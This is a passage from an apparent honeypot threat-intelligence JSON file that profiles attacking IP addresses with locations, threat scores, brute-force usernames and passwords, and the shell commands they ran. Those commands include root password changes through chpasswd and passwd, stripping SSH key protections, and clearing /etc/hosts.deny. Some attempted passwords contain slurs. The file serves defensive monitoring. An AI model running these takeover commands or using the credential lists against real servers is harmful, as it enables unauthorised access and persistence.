        "echo \"root:zANmeivz0HGm\"|chpasswd|bash",
        "echo -e \"postgres@123\\nMsZ7zuzA8LWr\\nMsZ7zuzA8LWr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Rajkot",
      "asn": 137151,
      "as_org": "Greenworld Netcast Private Limited",
      "threat_score": 20.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 435,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T11:49:55.973000+00:00",
        "last_seen_30d": "2026-05-17T12:17:50.118000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 373,
        "Suricata": 62
      }
    },
    "69.73.187.130": {
      "attack_count": 366,
      "first_seen": "2026-05-28T10:24:55.124Z",
      "last_seen": "2026-05-29T22:58:19.982Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "deploy",
        "steamcmd",
        "testuser",
        "bpuser",
        "carlos",
        "examen",
        "ftpuser",
        "ftpuser2",
        "icp",
        "leon",
        "map",
        "myuser",
        "nuc",
        "omm",
        "sami",
        "student",
        "sysadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "fjbdfdjkdsfs541544",
        "1",
        "111",
        "123",
        "123123",
        "123321",
        "12345",
        "1qaz2wsx",
        "@Aa123123",
        "Abc@111111",
        "Abcd1234!",
        "Admin.1234",
        "Admin@123@",
        "Changeme_123",
        "Password1",
        "QWEASDzxc123",
        "Qwerty123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"111\\nRl6xZZsO4pkJ\\nRl6xZZsO4pkJ\\n\"|passwd",
        "echo \"steamcmd\\nqXKImSuujz73\\nqXKImSuujz73\\n\"|passwd",
        "echo -e \"111\\nRl6xZZsO4pkJ\\nRl6xZZsO4pkJ\"|passwd|bash",
        "echo -e \"steamcmd\\nqXKImSuujz73\\nqXKImSuujz73\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11042,
      "as_org": "NETWORK TRANSIT HOLDINGS LLC",
      "threat_score": 37.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 475,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T10:24:55.124000+00:00",
        "last_seen_30d": "2026-05-29T22:59:22.225000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 366,
        "Suricata": 109
      }
    },
    "72.167.227.34": {
      "attack_count": 345,
      "first_seen": "2026-05-22T00:09:56.402Z",
      "last_seen": "2026-05-22T00:59:45.064Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "odoo",
        "oracle",
        "proxyuser",
        "work",
        "bence",
        "habib",
        "student",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123698745",
        "1qazxsw23edc",
        "7777777",
        "Ls@123456",
        "P@ssw0rd",
        "Passw0rd@123",
        "Zk123456",
        "adminadmin",
        "bence",
        "habib"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\n4di70XRAbHWU\\n4di70XRAbHWU\\n\"|passwd",
        "echo \"123\\nSerrsG7tfMKX\\nSerrsG7tfMKX\\n\"|passwd",
        "echo \"P@ssw0rd\\nyBYKq9UmPQzl\\nyBYKq9UmPQzl\\n\"|passwd",
        "echo \"root:ktnezFevZyu8\"|chpasswd|bash",
        "echo -e \"123\\n4di70XRAbHWU\\n4di70XRAbHWU\"|passwd|bash",
        "echo -e \"123\\nSerrsG7tfMKX\\nSerrsG7tfMKX\"|passwd|bash",
        "echo -e \"P@ssw0rd\\nyBYKq9UmPQzl\\nyBYKq9UmPQzl\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 396,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:09:56.402000+00:00",
        "last_seen_30d": "2026-05-22T01:00:52.990000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 345,
        "Suricata": 51
      }
    },
    "196.249.206.33": {
      "attack_count": 336,
      "first_seen": "2026-05-20T18:34:32.319Z",
      "last_seen": "2026-05-22T09:45:10.918Z",
      "sessions": 168,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": "Luanda",
      "asn": 17400,
      "as_org": "MSTelcom",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 506,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:34:32.319000+00:00",
        "last_seen_30d": "2026-05-22T09:46:19.447000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 336,
        "Suricata": 170
      }
    },
    "209.141.43.146": {
      "attack_count": 320,
      "first_seen": "2026-05-13T19:29:08.049Z",
      "last_seen": "2026-05-22T09:07:50.363Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc",
        "fedora",
        "administrator"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#123456",
        "123.qwe",
        "123456",
        "123456Rh",
        "1234Qwert",
        "2014",
        "786786",
        "Senha123",
        "Test2018",
        "Zc123456!",
        "Zz123123",
        "bmw123",
        "fedora",
        "newworld",
        "nigger",
        "police",
        "tearmann",
        "wpadmin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fedora\\nYqtuf8Ajibke\\nYqtuf8Ajibke\\n\"|passwd",
        "echo \"root:MMsuPyM0A2b4\"|chpasswd|bash",
        "echo \"yzOeGur5kZbZ\\n0F8YDQ6dtMzK\\n0F8YDQ6dtMzK\\n\"|passwd",
        "echo -e \"fedora\\nYqtuf8Ajibke\\nYqtuf8Ajibke\"|passwd|bash",
        "echo -e \"yzOeGur5kZbZ\\n0F8YDQ6dtMzK\\n0F8YDQ6dtMzK\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 397,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:29:08.049000+00:00",
        "last_seen_30d": "2026-05-22T09:08:52.034000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 320,
        "Suricata": 77
      }
    },
    "1.222.42.237": {
      "attack_count": 309,
      "first_seen": "2026-05-16T10:05:59.946Z",
      "last_seen": "2026-05-16T10:40:59.664Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "admin",
        "alex",
        "ghostuser",
        "jbernal",
        "minikube",
        "security",
        "sftp_user",
        "toor",
        "user",
        "user3",
        "web-user"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!@34QWer",
        "!Q2w3e4r",
        "000000",
        "123",
        "20192019",
        "228228",
        "456",
        "Ls123456",
        "Root@1234567",
        "a123123.",
        "admin123!@#",
        "d3pl0y1234",
        "deploy@2023",
        "ghostuser",
        "minikube",
        "root",
        "security1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:PwWLgLK5jn2v\"|chpasswd|bash",
        "echo \"root:XZgzMaplLkuD\"|chpasswd|bash",
        "echo \"root:aj8fDvRUFF6q\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Eunpyeong-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T10:05:59.946000+00:00",
        "last_seen_30d": "2026-05-16T10:42:02.084000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 60
      }
    },
    "43.163.96.237": {
      "attack_count": 241,
      "first_seen": "2026-05-20T01:17:11.999Z",
      "last_seen": "2026-05-20T01:45:48.803Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1qaz!QAZ2wsx",
        "1z2x3c4v5b6n",
        "Admin@123!@#",
        "P@ssw0rd2016",
        "Qaz1234",
        "adminfei",
        "angel1",
        "bitch",
        "claude",
        "dangerous",
        "deployer",
        "franco",
        "gerald",
        "ingerul123",
        "maryam",
        "mellon",
        "oana",
        "pickwick"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:IJoYByhgEhp6\"|chpasswd|bash",
        "echo \"root:IYgpuY6f5fjQ\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:17:11.999000+00:00",
        "last_seen_30d": "2026-05-20T01:46:54.730000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 56
      }
    },
    "43.153.98.119": {
      "attack_count": 238,
      "first_seen": "2026-05-13T14:05:55.228Z",
      "last_seen": "2026-05-13T14:43:05.167Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "foundry",
        "wy",
        "adminz",
        "db",
        "oracle",
        "sepehr",
        "temp",
        "test",
        "user",
        "zomboid"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#Abc123",
        "1234",
        "123456",
        "Abcd1234#",
        "Change@123",
        "Df123456",
        "Fy123456",
        "Login@123",
        "Lt12345678",
        "Qwerty2025",
        "Test12345",
        "abcd",
        "adminz",
        "c0b4d1b4c4",
        "db",
        "letmein123",
        "sepehr",
        "temp"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nxdq76Pntos7p\\nxdq76Pntos7p\\n\"|passwd",
        "echo \"wy@123\\nEuHoezaglZ5s\\nEuHoezaglZ5s\\n\"|passwd",
        "echo -e \"123456\\nxdq76Pntos7p\\nxdq76Pntos7p\"|passwd|bash",
        "echo -e \"wy@123\\nEuHoezaglZ5s\\nEuHoezaglZ5s\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T14:05:55.228000+00:00",
        "last_seen_30d": "2026-05-13T14:44:08.684000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 238,
        "Suricata": 54
      }
    },
    "72.167.226.79": {
      "attack_count": 233,
      "first_seen": "2026-05-25T18:25:21.657Z",
      "last_seen": "2026-05-25T19:27:08.204Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "curl",
        "maxim",
        "admin",
        "cloud",
        "dev",
        "milad",
        "musicbot",
        "nimesh",
        "oleh",
        "sr",
        "ubuntu",
        "vagrant"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "12345@Abc",
        "Ah123456.",
        "Qwer1234@",
        "Wangsu@2017",
        "admin123456@",
        "adminpassword",
        "alexander",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "milad123",
        "musicbot",
        "nigger123",
        "nimesh",
        "oleh",
        "sr123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nYDbHjUGKVJ1S\\nYDbHjUGKVJ1S\\n\"|passwd",
        "echo \"welltech12\\nsC3aMUhRHghA\\nsC3aMUhRHghA\\n\"|passwd",
        "echo -e \"123\\nYDbHjUGKVJ1S\\nYDbHjUGKVJ1S\"|passwd|bash",
        "echo -e \"welltech12\\nsC3aMUhRHghA\\nsC3aMUhRHghA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T18:25:21.657000+00:00",
        "last_seen_30d": "2026-05-25T19:28:15.072000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 233,
        "Suricata": 56
      }
    },
    "41.191.229.226": {
      "attack_count": 219,
      "first_seen": "2026-05-02T02:33:40.300Z",
      "last_seen": "2026-05-02T03:04:24.008Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "sysadmin",
        "345gs5662d34",
        "UBUNTU",
        "ali",
        "botuser",
        "csgoserver",
        "db_user",
        "developer",
        "esuser",
        "git",
        "test"
      ],
      "passwords_attempted": [
        "000",
        "000000",
        "1",
        "111111",
        "121212",
        "123456",
        "123456Xx",
        "123admin!@#",
        "1a2s3d4f5g",
        "1q2w3e4r",
        "3245gs5662d34",
        "333444",
        "345gs5662d34",
        "Digitalocean@123",
        "Qaz1wsx2",
        "admin11",
        "ali@123456",
        "botuser2023",
        "db_user",
        "developer@2024"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1a2s3d4f5g\\noHfZGkQ210Ps\\noHfZGkQ210Ps\\n\"|passwd",
        "echo -e \"1a2s3d4f5g\\noHfZGkQ210Ps\\noHfZGkQ210Ps\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mauritius",
      "country_code": "MU",
      "city": null,
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T02:33:40.300000+00:00",
        "last_seen_30d": "2026-05-02T03:05:32.277000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "20.220.34.26": {
      "attack_count": 200,
      "first_seen": "2026-05-25T18:29:23.144Z",
      "last_seen": "2026-05-25T19:34:17.450Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "curl",
        "maxim",
        "admin",
        "dev",
        "milad",
        "musicbot",
        "nimesh",
        "oleh",
        "sr",
        "ubuntu",
        "vagrant"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "12345@Abc",
        "Ah123456.",
        "Qwer1234@",
        "Wangsu@2017",
        "admin123456@",
        "adminpassword",
        "alexander",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "milad123",
        "musicbot",
        "nigger123",
        "nimesh",
        "oleh",
        "sr123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\ndro2ESZbs0GH\\ndro2ESZbs0GH\\n\"|passwd",
        "echo -e \"123\\ndro2ESZbs0GH\\ndro2ESZbs0GH\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T18:29:23.144000+00:00",
        "last_seen_30d": "2026-05-25T19:35:21.069000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 200,
        "Suricata": 60
      }
    },
    "123.58.213.128": {
      "attack_count": 186,
      "first_seen": "2026-05-31T07:37:47.008Z",
      "last_seen": "2026-05-31T07:55:32.532Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ansible",
        "dixi",
        "intell"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "09N1RCa1Hs31",
        "123",
        "A1q2w3e4r",
        "Aw123456",
        "Qwer@1234",
        "Server1214!",
        "ali123",
        "debian",
        "password",
        "zxcv1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6SoPgU8YesQd\"|chpasswd|bash",
        "echo \"root:Bg12z6tw737V\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
